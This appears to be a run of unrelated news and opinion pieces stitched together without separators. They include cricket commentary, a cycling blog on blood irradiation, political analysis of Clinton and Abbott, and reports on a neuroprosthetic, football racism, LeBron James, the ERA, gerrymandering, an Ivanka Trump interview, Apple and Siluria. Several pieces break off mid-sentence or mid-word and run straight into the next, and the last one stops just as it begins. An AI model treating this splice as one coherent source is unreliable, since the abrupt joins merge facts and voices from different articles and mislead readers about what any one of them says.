63.4 FH Edwards to Aaron, 1 run, 146.3 kph, misfield by Samuels. Length ball again, bounces short of mid-off. Samuels fumbles. Aaron, who hesitated for the single, was a goner of he had collected and thrown.
Right what does Ashwin do now? Does he take the single and level the scores? Singles available.
63.5 FH Edwards to Ashwin, no run, 145.6 kph, big lbw appeal. The inside edge saves him. India can't lose now. This can't even be a tie. Late swing now. Ashwin looks to work this to leg without taking a big risk, in order to rule out a dfeat.
Two results ruled out. Either India can win or this will draw. This could draw with scores level. Everybody saving two now. Ones available all over. In runs Edwards. Is this Ashwin's Test? Is this destiny?
63.6 FH Edwards to Ashwin, 1 run, OUT, 141.8 kph, West Indies salvage a draw here. Fletcher might as well say, "We flippin' murdered them." A length ball, pushes his weight back and smashes this down to long-on. It's as if he has made his mind up there is no second available. Slow to start, slow to turn around. He goes for the second only when Aaron pushes him. Run out by a mile. Did Ashwin miss a trick in the final moment? This doesn't by any means take away credit from what all Ashwin did in the lead-up
[Darren] Sammy has a smile on his face you won't be able to wipe off. He is still laughing five minutes after the match is over. [Virat] Kohli is distraught. Fletcher consoles him. Shakes of hands between the teams. What a great Test. Only the second time a Test has been drawn with scores level. The last time it happened was when England fell similarly short of beating Zimbabwe. And coach David Lloyd memorably said, "We flippin' murdered them."
© ESPN Sports Media Ltd.Blood irradiation explained
One of the quirks of following pro cycling is a passing knowledge of medical vocabulary. Words like quadriceps or lactic acid are obvious. But worryingly the discerning fan can build up a formidable lexicon of haematology, although knowing the vocabulary is quite distinct from knowing the subject. In recent years the likes of haematocrit, reticulocyte and plasma have appeared in cycling headlines. Now the latest concept is “blood irradiation” following allegations in Germany. Here’s a small explainer.
First, a little disclaimer: what follows is what I’ve managed to learn, like many topics on here I try to explore an issue and put some of the ideas here. So if you know better, please share via the comments or email.
As background there’s a Skandal in Germany over the apparent practices of Doktor Andreas Franke but he denies the charges. Cyclingnews.com tells the story and explains what is involved:
The treatments are said to have involved removing blood from the athletes, treating it with black light, and re-infusing it.
This technique is known as “blood irradiation” and as suggested, blood is removed and then exposed to “black light”, which is another word for ultra-violet light.
Normally exposure to UV kills off bacteria but this depends on the intensity of the light. Hospitals can use UV to sterilise. Swimming pools and aquariums can pump water past UV light to clean the water and it is used for drinking water too. The difference with these systems is they rely on pumping all the water past the UV light whereas the “therapy” in question here seems to involve taking a small amount of blood out and subjecting it to UV, leaving most of the blood untreated.
This practice seems questionable, here is Wikipedia on the subject:
Ultraviolet blood irradiation may also be applied, though it involves drawing blood out through a vein and irradiating it outside of the body. Though promoted as a treatment for cancer, a 1952 review in the Journal of the American Medical Association and another review by the American Cancer Society in 1970 concluded the treatment was ineffective. Stephen Barrett, writing for Quackwatch, lists ultraviolet blood irradiation therapy as a questionable treatment.
Of course Wikipedia is not authoritative. Several websites quote a paper from Virgil Hancock from the 1940s who claimed the following benefits:
Inactivation of toxins.
Destruction and inhibition of growth of bacteria.
Increase in the oxygen combining power of the blood and oxygen transportation to organs.
Activation of steroid hormones.
Vasodilatation.
Activation of white blood cells.
Decreased platelet aggregation
Stimulation of fibrinolysis (the breakdown of blood clots)
Decreased viscosity of blood
Stimulation of corticosteroid production
Improved microcirculation
For a doctor looking to enhance athletic performance, this sounds very useful. But other reports suggest the oxygenation boost is short-lived, patients get a red flush after therapy but this wears off within an hour. Indeed Hancock’s work seems to be quoted only on poorly designed websites, by a few quack “doctors” and some seeking to sell certain therapies. It might well work… but it doesn’t seem mainstream to put it politely.
But is it doping?
This is the big question facing Dr Franke and possibly the athletes on his patient list. The removal of blood for therapeutic reasons is allowed today, for example the practice of blood spinning is tolerated because it involves platelets and not “whole blood”.
In part the response is a question of time. The allegations made against Marcel Kittel concern 2008 and back then the WADA Code was looser. “Artificially enhancing the uptake, transport or delivery of oxygen” was banned as was “blood doping” but if done for therapeutic reasons then the practices of Dr Franke probably, possibly were tolerable under the rules at the time, even if there’s little evidence to point to benefits.
Today the “sequential withdrawal, manipulation and reintroduction of any quantity of whole blood into the circulatory system” is forbidden by WADA meaning blood cannot be taken out and put back in, whether for therapy or doping.
Indeed this evening Project 1t4i have put out a supportive statement saying Kittel and team mate Patrick Gretsch underwent this treatment in the past but they do not believe it to be related to doping. Indeed Kittel and Gretsch are under investigation and remain clear to race.
Summary
This practice involves extracting a small amount of blood and shining ultra violet light on it. Any benefits are questionable and if done out of competition I’m struggling to find the doping advantages; but if done five minutes before competition then it’s suspicious.
But with the older versions of the WADA code any of the athletes involved should be able to avoid a sanction with the help of a good lawyer. The case will rumble on in Germany but, for now at least, the headlines – with tales of blood manipulation – are more shocking than the underlying story.Former Secretary of State Hillary Clinton was shell-shocked when she lost to President Donald J. Trump. Her supporters, her donors, her campaign team were all thunderstruck that she lost to a person who seemed to be the weakest candidate the Republicans have ever nominated to the presidency. In the end, she lost, Trump won, the GOP retained control of Congress, maintained two-thirds control of the governorships, and increased their power in the states—controlling 69/99 legislatures. Half of the states have a unified Republican state government. In all, Trump led the GOP to becoming the most dominant political force in the country. What the hell happened? Remember the demographic lock the Democrats had on the electorate? Well, that turned out to be false—as with any hypothesis that says there will be a permanent political majority. The Republicans said that under Bush. The Democrats said it under Obama. Both projections went down in flames.
As she enjoys her departure from public life (though there are rumors she might run for mayor of New York City), she’s combing through data points and studying why she lost the election. Is this the beginnings of mapping a road for a political comeback? It’s too early to tell. Moreover, she’s doing exactly what Bill Clinton did when he lost his 1980 re-election campaign for governor of Arkansas. Bill went to every part of the state, talking with voters, finding where he fell short. Two years later (at the time the state’s term limit was two years for governor), he was back in the governor’s mansion and remained there until he moved to the White House in 1993. As a result, Bill has reportedly been going over precinct data as well (via Politico):
The one-time secretary of state has been in contact with a range of ex-aides, studying presentations as she tries to better understand the forces behind her shocking November defeat. Included among those presentations has been a series of reports pulled together by her former campaign manager Robby Mook and members of his team, who have updated her not just on data and polling errors, but also on results among segments of the electorate where she underperformed, according to Democrats familiar with the project. “She understands that a forensic exam of the campaign is necessary, not only for her, but for the party and other electeds, and for the investors in the campaign,” said a close Hillary Clinton friend in Washington who, like several others, declined to speak on the record because their conversations with one or both Clintons were private. “People want to know that their investment was treated with respect, but that their mistakes wouldn’t be repeated." For his part, Bill Clinton has spent considerable time poring over precinct-level results from the 2016 race while meeting with and calling longtime friends to rail against FBI Director James Comey’s late campaign intervention and Russia’s involvement, say a handful of Democrats who have spoken with him.
It’s really not that hard to explain why Clinton lost. She didn’t venture outside of the urban progressive bubbles and that burned her. Clinton and her team thought that the Obama coalition would just transfer over to her, despite her not being viewed as trustworthy, authentic, or honest by voters. She was also underwater with some key groups in that coalition prior to start of the 2016 campaign—and it's obvious that underperformance didn’t vastly improve as Election Day neared. She also didn’t visit the Rust Belt or offer how she would protect working class voters. Instead, she attacked Trump. The end result: losing rural voters by a three-to-one margin, allowing Trump to run the table on her. That coupled lackluster Democratic turnout in key areas, like Milwaukee and Detroit, led to Trump and the GOP winning Wisconsin and Michigan for the first time since 1984 and 1988 respectively. The blue wall got smashed because no one bothered to stand guard. If she was able to reduce Trump’s margin with rural voters by two-to-one, things might have been different.
Clinton and her team thought white working class whites, which number in the millions, weren’t worth it. This is the embodiment of what Trump has been saying, that these people are the forgotten class. Well, they had their revenge on November 8, 2016.
As for the future, the publication added that it’s highly unlikely that the Clintons refrain from politics. It’s in their blood; all of their friends are still in the business. For now, it’s down time for them (Hillary is contemplating writing, Bill is back at the Clinton Foundation), but be sure to watch them as the 2018 midterm elections draw nearer. At the same time, there are some in the party that are annoyed that there is no public autopsy for donors and activists to improve upon shortfalls for future elections:
And some Clinton supporters in the states are irritated by the lack of a formal, public-facing autopsy from her campaign since the absence of even a preliminary acknowledgment of fault has made it harder for the party to raise money on a local level — donors feel burned.
Still, they may want to know how they lost, but there is no indication that they’ll run for national office again. So, we can close this chapter for good. Hillary Clinton will never be president.ANALYSIS
SUNDAY will mark two years since the election which made Tony Abbott Prime Minister, and six months and 26 days since he announced “Good government starts today” in a bid to keep the job.
Rarely has the distance between triumph and troubled times been so short, unless you are Kevin Rudd, the man Mr Abbott replaced with a pledge of stable administration.
Many voters, and even some of Mr Abbott’s colleagues, do not believe the promise of September 7, 2013, or the one of February 9, 2015, have been fulfilled.
It was no surprise when in 2013 the Coalition put Labor out of its six years of leadership leapfrog misery and took government with a huge majority in the House of Representatives.
Voters were not so much looking forward to a glowing Abbott future as the back of Rudd/Gillard turmoil — some of it cultivated by Mr Abbott but the bulk of ir self-inflicted.
But it did come as a shock when Mr Abbott had to defend himself against his own MPs and on February 9 this year narrowly saw off a motion for a leadership spill.
The offer of finally implementing “good government”, as if it was a casual afterthought, was given in a fearful rush by a man who described what had happened as a political “near death experience”.
The national economy is growing at just two per cent a year; in the June quarter the difference between what we earned from exports and spent on imports worsened by 41 per cent; unemployment is 6.3 per cent, a 13-year high.
The threat of political mortality lingers. A striking proof of this is the belief by some Government members is that as unhappy as the Abbott prime ministership has been, voters will refuse to elect Labor’s Bill Shorten.
Immigration Minister Peter Dutton and others have thundered against leaking colleagues for damaging the Government, ignoring there is more than enough on the public record to cause harm.
Tony Abbott has not been warmly accepted by a significant part of the electorate over the past two years but leaders don’t have to be loveable. They just have to be competent, skimpy on public arrogance, and capable of communicating.
Mr Abbott has had trouble on all three counts:
ECONOMY
The 2014 Budget was a significant and early test of the Abbott Government’s competence and it did not pass. The Coalition still gets higher rating from voters for economic management but no thanks to its first economic statement. It was introduced with trumpets blaring a Budget emergency and with penalties for households in higher health and transport expenses.
The Budget emergency didn’t last long. In fact it worsened, but the Government stopped referring to it because consumers and business had been terrified into retreat just at a time when the fall-off in jobs and revenue from the resources sector required greater economic confidence. Critics of the Government consider that reduced confidence was an element in the economy’s dangerously slow growth as reported this week.
CAPTAIN’S PICKS
Suddenly knighthoods were back and there was just one man pushing for their return, Tony Abbott. It was a substantial change to national culture done without a skerrick of public consultation. Mr Abbott wasn’t happy back in March 2014 with the widespread criticism of his unilateral move, but he wasn’t finished yet. In January 2015 he topped his announcement of 10 months previous by sending an Australian gong to Prince Philip. The furious response by Australians helped fuel the leadership showdown of February.
But it’s not just cultural issues Mr Abbott has acted without a filter. He also hit cabinet with proposals to take citizenship from terrorists. The proposal was flawed, scantily explained and — as ministers made clear — unacceptable. And it was further evidence that when Mr Abbott takes his own advice he is likely to get into trouble.
CROSS BENCH
Mr Abbott’s connection with the electorate when he was Opposition Leader didn’t survive the election. And he also wasn’t able to talk to those he relied on to dominate Parliament.
In July, 2014, the new Senate was installed with eight members on the crossbench facing the Coalition, Labor and the Greens. Prime Minister Abbott knew they could undo Government legislation but made little effort to get their votes. He snubbed them, as if dealing with independents and others was beneath him.
Social Services Minister Scott Morrison has a delicate legislative dance to perform in the Senate and he is inviting as many cross benchers as possible to partner him. He is consulting and explaining personally, and getting support. In short, he is doing a Reverse Abbott and it is working. The Senate is not a happy mix for the Government, but it’s chief purpose appears to be as an excuse for the Government failing its own agenda.(CNN) A man paralyzed from his shoulders down has regained use of his right hand with the aid of an experimental prosthetic that replaces lost connections between the brain and the muscles.
As described in a paper published Tuesday in the journal The Lancet, this technology, called a neuroprosthetic, works by first decoding the patient's brain signals and then transmitting them to sensors in his arm.
The early stage research has been tested in a lab with just one patient so far, yet someday it may change the lives of many with spinal cord injuries, said lead author Abidemi Bolu Ajiboye, an assistant professor at Case Western Reserve University.
Even though the system would not become immediately available to patients, Ajiboye believes that all the technical hurdles can be overcome within five to 10 years. "We actually have a handle on everything that we need. There are no significant novel discoveries we need to make for the system," he said.
Ajiboye said that what makes this achievement unique is not the technology, but the patient. Unlike any previous experiments, a man who is nearly completely paralyzed -- or tetraplegic -- regained his ability to reach and grasp by virtue of a neuroprosthetic.
Cycling accident
Bill Kochevar, a resident of Cleveland, injured his spinal cord in 2006 prior to enrolling in the study.
"It was a bicycling accident," said Ajiboye, who explained that Kochevar, 53, was doing a 150-mile bicycle ride on a rainy day. "He was following a mail truck and the mail truck stopped and he ended up running into the back of the truck," said Ajiboye. As a result, Kochevar has paralysis below the shoulders.
"So he can't walk, he can't move his arms, he can't move his hands," said Ajiboye.
While the American Spinal Injury Association classifies him at the most disabled level of paralysis, Kochevar is capable of both speaking and moving his head. Prior to enrolling in the study, he often used head tracking software technology that relied on him moving his head to move a cursor on a screen. "But he had no ability to do any sort of functional activities," said Ajiboye.
Kochevar underwent two surgeries fitting him with the neuroprosthetic. The first operation on December 1, 2014, implanted the brain computer interface, or BCI, in the region of Kochevar brain that is responsible for hand movement, called the motor cortex.
The BCI is an electrode array which penetrates the brain between one to one and a half millimeters, said Ajiboye.
Next, Kochevar underwent a second surgery to implant 36 muscle stimulating electrodes into his upper and lower arm. Known as functional electrical stimulation or FES, these electrodes are key to restoring movement in his finger and thumb, wrist, elbow and shoulders.
The Cleveland Functional Electrical Stimulation Center, of which Ajiboye is a part, first developed electrical stimulation technology for reanimating paralyzed function nearly 30 years ago. As Ajiboye explained, the technology is similar to a pacemaker in that it applies electrical stimulation to the muscles in order to stir movement.
After the separate technologies were implanted, the researchers connected Kochevar's brain-computer interface to the electrical stimulators in his arm. At this point, Kochevar began learning how to use his neuroprosthetic and that process started with a virtual arm.
"We had him watch the virtual arm move, he attempted to move his arm in the same way, and that elicited some patterns of cortical activity -- some patterns of electrical neural activity," said Ajiboye.
This electrical activity was recorded and based on this recording, Ajiboye |
ophobia is rife in the game
The first ever mass consultation with players across all four tiers of English football, conducted by campaigners Kick It Out, has revealed that racism and homophobia is rife in the game.
Views from players across the Barclays Premier League and the Sky Bet Football League have uncovered damning statistics about the game in this country.
It is well-known that racism and homophobia is still hurled from the stands at games.
Signing: Former Charlton midfielder Paul Mortimer has joined Kick It Out campaign
More than 50 per cent admit to having seen racist abuse in stadiums and almost a quarter of them have been subjected to it.
But alarmingly one in five claim they have witnessed it in the changing room and on the training ground.
Kick It Out have enlisted former Charlton midfielder Paul Mortimer to work with players from every club in the country to tackle the problems.
Premier League stars including Romelu Lukaku and Nathan Redmond have also started working with the organisation.
Mortimer, 45, insists that the issues have improved since he played in the late 80s and 90s when fruit was sold outside grounds to throw at players and he was subjected to abuse from his own team-mates as well as opponent players.
Right direction: Mortimer say things have improved since he was a player
Mortimer said: 'If you pick any club in the country, any stadium or training ground, everything in a club has moved on.
'But some of the discriminatory vocabulary used is from a bygone era. This kind of of mentality is still in the dark ages. It has to move on.
'We're in a prime position to assist players with that.
'Sometimes players don't even realise they're doing it. It comes under that broad context of "banter."
'People will look at those percentages and say they are high. The good thing is that players are confident in reporting it. There is a lot of work ahead to bring these numbers down.'
Every single Premier and Football League club was contacted to take part and 200 current players anonymously provided their views.
Support: Everton striker Romelu Lukaku has joined the campaign
The responses also revealed that more than 50 per cent believe there is an issue with the lack of black and minority ethnic managers and coaches, almost 40 per cent have witnessed homophobia in the stadiums and a quarter have seen homophobia on the training ground or in the changing room.
The Premier League and Football League are both working with Kick It Out.
The Premier League are also training stewards in how to report abuse and are working with fan groups to cut down illegal discriminatory chants.
Influence: Norwich's Nathan Redmond is another player working with the organisation
A spokesman said: 'While unacceptable attitudes continue to be held by a minority in society the Premier League will continue to work towards eliminating discriminatory abuse from our grounds.'
A Football League spokesman added:'We will discuss these results in more detail with Kick It Out and the other football authorities so that they can assist our ongoing efforts to tackle any form of discrimination in English football.'
The Football Association have also produced short films to let people know how to report abuse.LeBron James might remain the best player in the NBA. He might remain the most valuable. He might even remain a player around whom a team can build a perennial Finals contender. But the question right now is, “Can LeBron remain this good for the rest of the season?” Because this LeBron is very close to as good as we’ve ever seen, in ways we’ve never seen before.
Just so everyone’s clear at the top: James is not the sun-eater he was in 2012-13, with the third and greatest of his Miami Heat teams. He may not be quite as incontestable as he was at the end of his first tenure in Cleveland, when he won back-to-back MVPs and dragged meager rosters on long and doomed and occasionally brilliant playoff runs.
But James is posting career highs in true shooting percentage (66.4), 3-point percentage (41.6), assist percentage (42.9) and block percentage (2.6). His free throw percentage (77.3) is the second-highest of his career. He’s shooting 80.7 percent within 3 feet of the basket and going to the rim about as often as he ever has. He has created more shots for teammates than anyone but Russell Westbrook, according to data from Second Spectrum, and he’s done it while playing 37 minutes per night — a heavy load for a player in his 15th season (who has also logged more than 200 playoff games).
The easy answer to the obvious question — How? — is that his jumper is falling. According to data from Second Spectrum, James is shooting an effective field goal percentage of 58.8 on step-back shots and 63 on pull-up jumpers — his two most common shot types after brute-force drives. Those dwarf his normal rate of makes on those shots over the last three seasons.
The large and sensible parts of the brain say this is unsustainable. That it’s fun to watch James play-act past glories while understanding that the underlying foundations have shifted, moved on — that James’s MVP-level start is a mirage of risky habits and clustered luck. The smaller, more rascally regions wonder: What if this is how LeBron goes late-Jordan?
James is one of the most amorphous stars I’ve ever watched from season to season. In various offseasons over the past decade, he’s picked up a post game, lost and recovered his 3-point stroke, added sneaky perimeter dribble feints and pivots, and refined the drive-and-kick game to its most basic and brutally effective elements. Who’s to say he hasn’t gone out and added the step-back midrange game that Michael made art and Kobe made genre fiction?
I mean, just look at this:
I’ve been watching LeBron for a lot of years, and I don’t remember him looking so fluid on those shots, so smooth through the hips and shoulders. That shot has always been available to him, it’s just always looked more calculated than natural — a computer making an arcane chess move more than a master moving in on the hunt. Now, it looks more graceful, a little tighter in the footwork. They aren’t suddenly perfect shots — there’s still the occasional (and occasionally more than occasional) wild launch from 35 feet or with a foot on or just inside the line, but they look better in aggregate. Maybe it’s easier to see it like that because it’s going in; that’s one danger of applying the eye test.
But it also makes sense given how well James has shot both from distance and point-blank. There’s simply more room to maneuver in the midrange if defenses must treat him as a 40-percent 3-point shooter and an 80-percent finisher at the rim — while also playing the lanes because he’s passing more than ever. That’s going to remain true for as long as James is canning 3s like this and remains unstoppable at the rim. The jumper can come and go, but it has been relatively steady since it went missing in 2015-16. The drives are more reliable.
The Cavs score 125 points per 100 possessions when James drives and finishes himself, passes to a teammate for a shot or is fouled (or he makes a turnover), and 118 points per 100 possessions on scoring chances that come from multiple passes after a James drive, according to Second Spectrum. Both rank first among players with at least 100 drives this season, and both are unlikely to change as long as James remains unstoppable, crashing into defenders and creating space where the defender had previously been standing.
One caveat: This isn’t the indomitable James. The onslaught is not exactly unrelenting. The pitch is not fevered. James is finding more success driving to the rim, but he’s also drawing fouls at a career-worst rate — his.294 rate of free throws per field goal attempt is down considerably from his career average.418 — and his turnovers are a hair under his career worst (from last season). These may be clues that James’s underlying skills have tailed off and his results will soon follow. Or they may be evidence that LeBron isn’t actually trying yet.
His defensive numbers confirm that he hasn’t returned to his peak. The Cleveland defense has been nearly 11 points better per 100 possessions when he sits, and ESPN’s defensive Real Plus-Minus has him in the negatives, below James Harden and Kyle Lowry. RPM is famously skewed toward defensive-minded big men, but James has historically performed much better in the stat. So, no, James isn’t the clamp-down bear trap he was in his Heat years. But he’s in the top 40 for shots defended (a good sign he’s not getting blown out of plays) and opponents are shooting just a 46.6 effective field goal percentage against him (a very good number). While he’s giving up “good” shots (expected value 52.8 eFG percentage, adjusting for who’s shooting, which is one of the worst figures in the league), he’s depressing value on those shots by 6.2 eFG percentage points, sandwiching him between standout defenders like Kevin Durant and Paul Millsap once he’s actually engaged in the play.
We expect more from James because we’ve seen more from him. We’ve seen him slip from the best player in history to merely the best at this moment, and so his deficiencies call out in a way other players’ do not. Maybe he’s playing catch-up defense these days, or not drawing fouls the way he used to, or not willing Jae Crowder into making his wide-damn-open 3s. But 15 seasons into his career, he’s still getting better, and so far this season, the pieces he’s added have more than made up for the ones that have fallen away.
Check out our latest NBA predictions.Cardin said Thursday that Congress "should give the states another chance," and said passage of a joint resolution by both the House and Senate extended the deadline once before, in the late 1970s.
He also noted that the 27th Amendment to the Constitution, which prohibits congressional pay raises from taking effect immediately, was finally ratified after 203 years. That amendment was ratified in 1992, after first being proposed in 1789.
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Cardin also noted that the Constitution does not set time limits for ratification of amendments by the states, and that extending or removing the prior deadline of 1982 could be done by joint resolution.The ERA was first proposed in the 1920s, and Congress finally approved it in 1972. Supporters of the amendment say it's needed to explicitly affirm that the national or state governments can not discriminate on the basis of sex.Cardin noted that last year, Supreme Court Justice Antonin Scalia said that "certainly the Constitution does not require discrimination on the basis of sex. The only issue is whether it prohibits it. It doesn't."The amendment reads:Section 1. Equality of rights under the law shall not be denied or abridged by the United States or by any state on account of sex.Section 2. The Congress shall have the power to enforce, by appropriate legislation, the provisions of this article.Section 3. This amendment shall take effect two years after the date of ratification.Co-sponsors of Cardin's resolution are Sens.(D-Calif.),(D-Ill.),(D-N.Y.),(D-Iowa),(D-La.), Frank Lautenberg (D-N.J.),(D-N.J.) and(D-Md.).WASHINGTON — The Supreme Court dealt North Carolina a setback on Monday in a voting rights case for the third time in recent weeks, affirming a decision that struck down many state legislative districts for relying too heavily on race.
The court also ordered a lower court to reconsider whether racial gerrymandering in North Carolina required a special election this year. And in a third, separate ruling, the justices agreed to decide a major case on the privacy of cellphone records.
The court’s summary affirmance of the ruling to strike down the North Carolina voting districts gave no reasons, and there were no noted dissents. But the question in the case was similar to one the justices addressed last month, in which the court struck down two of the state’s congressional districts as racial gerrymanders.
The new case presented the same basic question in the context of the state’s General Assembly.
Last August, a three-judge Federal District Court unanimously struck down 28 State House and Senate districts drawn in 2011 by the Republican-led legislature, saying the districts violated equal protection principles by using race as the predominant factor without good reason. The trial court rejected the state’s argument that the districts, as drawn, were justified as an attempt to comply with the Voting Rights Act.Father knows best in the Trump clan. Mark Makela/Getty Images
Ivanka Trump is turning into her father. The usually composed and genteel businesswoman gave a very Donald Trumpian interview to Cosmopolitan on Wednesday, in which she denied that Donald has said the things he’s said, stumbled over basic questions about his new maternity leave proposal, and scolded the reporter for doing her job. Then, when the interview turned out to be more pointed than a sweet conversation between gal friends, Ivanka bounced.
Donald Trump’s Ivanka-backed plan proposes six weeks of paid unemployment benefits for women who physically give birth to a child, paid for by cutting “fraud” in the unemployment insurance system. It does not include any paternity leave or leave for a mother who adopted her child or whose partner gave birth. Paternity leave has been proven to have lasting effects on greater equality in housework, child care responsibilities, and wages. Cosmo reporter Prachi Gupta pointed that out, and Ivanka brushed it off:
Paternity leave is said to be a great factor in creating gender equality. So I’m wondering, why does this policy not include any paternity leave?
This is a giant leap from where we are today, which is sadly, nothing. Both sides of the aisle have been unable to agree on this issue, so I think this takes huge advancement and obviously, for same-sex couples as well, there’s tremendous benefit here to enabling the mother to recover after childbirth. It’s critical for the health of the mother. It’s critical for bonding with the child, and that was a top focus of this plan.
OK, so when it comes to same-sex—
So it’s meant to benefit, whether it’s in same-sex marriages as well, to benefit the mother who has given birth to the child if they have legal married status under the tax code.
Ivanka did not elaborate on what difference legal marriage makes if the leave plan only benefits the partner who gives birth, nor on whether it might also be important for fathers and non–birth mothers to bond with new children. But she got testy when Gupta asked her for more information on gay couples who adopt.
Well, what about gay couples, where both partners are men?
The policy is fleshed out online, so you can go see all the elements of it. But the original intention of the plan is to help mothers in recovery in the immediate aftermath of childbirth.
So I just want to be clear that, for same-sex adoption, where the two parents are both men, they would not be receiving special leave for that because they don’t need to recover or anything?
Well, those are your words, not mine. [Laughs.] Those are your words. The plan, right now, is focusing on mothers, whether they be in same-sex marriages or not.
That uncomfortable laugh became outright hostility when Gupta dared put the Trump proposal in context with his previous remarks on maternity leave.
OK, I just wanted to make sure I understood. In 2004, Donald Trump said that pregnancy is an inconvenient thing for a business. It’s surprising to see this policy from him today. Can you talk a little bit about those comments, and perhaps what has changed?
So I think that you have a lot of negativity in these questions, and I think my father has put forth a very comprehensive and really revolutionary plan to deal with a lot of issues. So I don’t know how useful it is to spend too much time with you on this if you’re going to make a comment like that.
I would like to say that I’m sorry the questions — you’re finding them negative, but it is relevant that a presidential candidate made those comments, so I’m just following up.
Well, you said he made those comments. I don’t know that he said those comments.
Donald Trump absolutely made those comments—Cosmo was taking his words from a 2004 Dateline interview—and they’ve come up a zillion times in the course of this campaign. Ivanka knows that. This is a strategy taken straight out of her father’s feverish campaign diary: Insult a reporter if she asks a question you don’t want to answer, and if that doesn’t shut her up, lie. Gupta continued:
This is quoted from an NBC [interview] from 2004. I definitely did not make that up. I do want to talk to you a little bit beyond the plan, as well—
I think what I was—there’s plenty of time for you to editorialize around this, but I think he put forth a really incredible plan that has pushed the boundaries of what anyone else is talking about. On child care specifically, there are no proposals on the table. He really took ownership of this issue, and I really applaud him for doing that. I hope that, regardless of what your political viewpoint is, this should be celebrated.
That’s another lie—there is an alternative plan on the table. Hillary Clinton long ago proposed capping child care expenses at 10 percent of each family’s respective income and giving 12 weeks of paid family leave to new parents or people who have to care for a sick family member.
Ivanka’s cool exterior is starting to melt as reporters have begun to point out her various hypocrisies. She says she champions paid maternity leave, but the company that makes her clothes doesn’t give its employees any. She carries on about supporting women in business, but she doesn’t pay the aspiring businesswomen who intern for her. She lied when she said the Trump hotels give their employees paid maternity leave (they offer 12 weeks unpaid leave, the minimum required by federal law) and basically read Clinton’s platform aloud to pass it off as her father’s at the Republican National Convention. It’s time to recognize Ivanka’s gender-equity shtick for what it is: Donald Trump’s self-entitled sleaze in a slightly more woman-friendly package.In the videos from his talk at Oxford's Said Business School, Steve Ballmer said that most tech companies fail — like restaurants, I guess — and that the genius companies are "one-trick ponies," which invent a business worth billons.
For Microsoft, Ballmer counted 2.5 tricks: firstly, the modern PC platform, which comprises Windows software along with the Office software platform; and secondly the Windows Server platform (he described this as Microsoft in the datacenter). And finally, just a half a trick for Redmond's Xbox gaming system.
Ballmer granted that Apple had accomplished two tricks: Macintosh, by which he must also include the popularizing of the first widely available GUI OS; and the iOS mobile computing platform, which spans iPod, iPhone (smartphones), and now iPad (tablet computing).
His math of Apple innovation appears lacking to this longtime Mac user. Let me add a few more "tricks" to the list:
The Apple II platform. Ballmer appears to believe that personal computing began with the launch of the IBM PC, which was Microsoft's big start. Of course, the Apple II platform was one of the first great hardware and software platforms. Most tech industry watchers don't know or recall that the Apple II was Cupertino's cash cow for years following the release of the Macintosh, into the late 1980s. Production of the last Apple II model didn't happen until 1993! I remember using the first spreadsheet, VisiCalc, in the early 1980s when I worked in an academic library.
Desktop publishing. It was Apple that in 1985 shipped the first readily available, networked laser printer, the LaserWriter. This printer, along with its Adobe Postscript interpreter technology, the Macintosh (with its support for PostScript and standard AppleTalk networking) and Aldus PageMaker layout application, provided the foundation of an entire industry, from service bureaus to computer graphics.
We take it for granted nowadays, the networked inkjet or laser printer in home or office. It started with the LaserWriter.
The Apple Store. There was a time when all computer makers sold in the channel and even had branded storefronts. But it's all retail history now. In the 1990s, Apple pioneered the store-within-a-store concept and in 2001 opened its first retail store. Now the company runs a network of 424 stores in 16 countries that provide sales, support, product demonstrations, consumer education, and more. Now, the stores are starting a focus on supporting small businesses. Of course, the industry predicted that this retail move would be a complete disaster.
The first store was developed much like a project. I wrote about it in a post.
"I was once told a tale about the design of the first Apple Store back in 2001. A full-sized mockup of the store was built inside a warehouse in Santa Clara, Calif., where all of the shelves and counters and other store elements were put on coasters. Every morning, Steve Jobs would walk into the warehouse and move things around. Maybe again in the afternoon. This continued until everything was in its proper spot."
There could be others: The transition to Mac OS X, as an example. What about the iTunes Store? Yes, it's the vital service side of iOS, but it's more than that, since it spans Macs and Windows and Apple TV platforms.
At the same time, I wonder if Ballmer isn't selling Microsoft a bit short. I might add Microsoft BASIC and Visual Studio as a developer tools "trick." But given the mixed and often-confused messages from Microsoft over the past decade, it must be easy for him to skip over such "little" tricks.Siluria has raised the funds it needs to build a demonstration plant for making the chemical ethylene from natural gas, rather than oil.
Nanowire: Siluria develops nanowire catalysts for converting methane to ethylene.
Credit: Siluria
The MIT spin-off announced yesterday that it has raised $30 million in a round led by Microsoft co-founder Paul Allen’s Vulcan Capital and Moscow, Russia-based Bright Capital. Existing venture capital investors, including Kleiner Perkins Caufield & Byers, also participated, bringing the total the company has raised to $63.3 million.
The company has developed a method for turning methane, the main component of natural gas, into ethylene, a common industrial chemical normally derived from oil. Ethylene is used in the production of many everyday products, such as the plastic, and could be converted into liquid fuel.
Typically, refiners “crack” petroleum with heat to produce ethylene, a smaller chain hydrocarbon. Siluria instead uses catalysts to chemically combine two methane molecules to make ethylene, a process which can operate at much lower temperatures and is far less energy-intensive than traditional steam cracking.
The company’s technology originated in the lab of materials scientist and biological engineer Angela Belcher at MIT, whose research focuses on mimicking natural processes to make desired products, such as a virus-powered battery. Siluria has a catalyst-screening and discovery process where a virus serves as a template for creating nanowire catalysts, (see “Natural Gas to Chemicals”). The method lets Siluria refine the catalysts and expand its library, which the company says gives it an advantage over the many other methods tried for making ethylene from methane.
Today’s funding will allow the company to build a demonstration plant next year to fine-tune the process, according to the company. Siluria then intends to partner with chemical companies for commercial-scale plants. The company says that its catalysts can work with conventional reactors, which reduces the risk of scaling up.
Given the low cost of natural gas, it’s not surprising Siluria, which raised $20 million less than a year ago (see “Natural Gas Upgrade”), has attracted more funding. Expect more companies to seek out methods for making chemicals or fuels with methane as a feedstock.As you may have already heard, a prominent actor recently accused another prominent actor of targeting him sexually more than 30 years ago -- when the alleged victim was just 14-years-old, and the alleged would-be abuser was 26. Anthony Rapp, of Rent and Star Trek fame, says House of Cards and Usual Suspects star Kevin Spacey sexually attacked him at a party at his home in 1986. Buzzfeed first reported the allegation, in disturbing detail:
